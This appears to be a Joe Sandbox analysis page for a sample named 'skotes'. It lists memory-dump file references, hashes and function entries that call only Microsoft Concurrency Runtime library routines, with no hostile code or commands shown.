Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 28b03e5a1bfb9ab7d2c9431ad5774970d39743061914ece182f70d9e71a8719c
Instruction ID: 346fc4b2095f7b8030ac902fb804c26741b0b779bcc27eceb936a82f3b1909a3
Opcode Fuzzy Hash: 28b03e5a1bfb9ab7d2c9431ad5774970d39743061914ece182f70d9e71a8719c
Instruction Fuzzy Hash: EF518031A10215DFEF24DF50C899BAEB775AF44310F1580A8E9066B3D3CB79AE45CBA1

Function 0072CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0072CBAA

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 01ae525789c5d86171cbc52cb33b0ad5bfb2d3240a575945a99b9e140cd2c0ce
Instruction ID: bb85106b56599a6aa5c57a1729e60b4ffb5c19b3da710fb62551818b34f04294
Opcode Fuzzy Hash: 01ae525789c5d86171cbc52cb33b0ad5bfb2d3240a575945a99b9e140cd2c0ce
Instruction Fuzzy Hash: 30B09232A139304BCA922B14BC1859E7714AF80E5230A8156D802A72248A991D824FD8

Function 0072DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdfb9570cc6a055794f76746d5038f4a15568dd42b340631f5774ed17fbad72d
Instruction ID: 405895c9ec08f4faa7755abd5e9eb108f2c93871c02ee8a1ed82d441105ead06
Opcode Fuzzy Hash: bdfb9570cc6a055794f76746d5038f4a15568dd42b340631f5774ed17fbad72d
Instruction Fuzzy Hash: A351BE72E00616CBDB25CF58E8847ADBBF1FB48340F25C56AC419EB250D378AD80CB54

Function 007426D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007426E3

Part of subcall function 007424E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00742504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00742704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00742711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0074275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 007427E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 007427F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00742846

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 1ad64124a3781da034aa3f359ca32bdb4c5ab263e45bfe68450b748c0b09f472
Instruction ID: 8dac78c169f39154a11dd06b9cfe9842f0387afa94729a3d685bce9836492ae6
Opcode Fuzzy Hash: 1ad64124a3781da034aa3f359ca32bdb4c5ab263e45bfe68450b748c0b09f472
Instruction Fuzzy Hash: AF819A30900249ABDF169F94C995BBEBBB2AF55308F440098FD413B263C73A9D66DB61

Function 00742970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00742982

Part of subcall function 007424E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00742504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007429A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007429B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007429FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00742AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00742AD8

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 601d3ff37c17e621e1bc4a5e8399654338201c98e0f7fd380dcbda49eb0f48f4
Instruction ID: d4696fa700826a071666ae593a1d43767813a34a82f24d56417b9650e8171bb4
Opcode Fuzzy Hash: 601d3ff37c17e621e1bc4a5e8399654338201c98e0f7fd380dcbda49eb0f48f4
Instruction Fuzzy Hash: 0C719B70A00249ABDF15DF58C985BBEBBB2EF45304F444098FC416B253D7399D26DB61

Function 00732832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00732876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007328DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00732913

Part of subcall function 007307ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0073080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00732993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007329DB

Part of subcall function 007307C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007307DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007329EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00732A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00732A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00732A7E

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
